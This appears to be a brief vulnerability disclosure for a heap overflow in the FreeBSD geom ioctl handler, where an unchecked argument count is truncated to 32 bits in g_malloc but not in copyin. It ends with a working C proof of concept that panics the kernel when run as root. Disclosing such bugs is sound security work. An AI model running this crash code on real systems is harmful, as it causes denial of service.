There is a heap overflow in the `ioctl` handler for `geom`, which is non-critical since it is only triggerable as `root`.

Essentially, there are no checks on the user supplied `req.narg` value. The code uses this value to calculate a size by multiplying by `sizeof(struct gctl_req_arg)`, and then calls `g_malloc` and `copyin`.

`g_malloc` treats its `size` parameter as an `int`:

static __inline void *g_malloc(int size, int flags)

So this size will be truncated to 32 bit, however the `copyin` call will use the full 64 bit size.

PoC to trigger the bug, resulting in panic (must be run as `root`):

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <geom/geom_ctl.h>

int main(void) {
	int result;
	struct gctl_req req;
	int g;
	
	g = open("/dev/geom.ctl", O_RDONLY);
	if(g == -1) {
		printf("  [-] Couldn't open geom.ctl!\n");
		return 1;
	}
	
	req.error = malloc(0x100);
	req.lerror = 2;
	req.version = GCTL_VERSION;
	req.narg = 0x5555556;
	req.arg = malloc(0x4000);
	memset(req.arg, 'a', 0x4000);
	
	result = ioctl(g, GEOM_CTL, &req);
	printf("%d %d\n", result, errno);
	
	free(req.arg);
	
	return 0;
}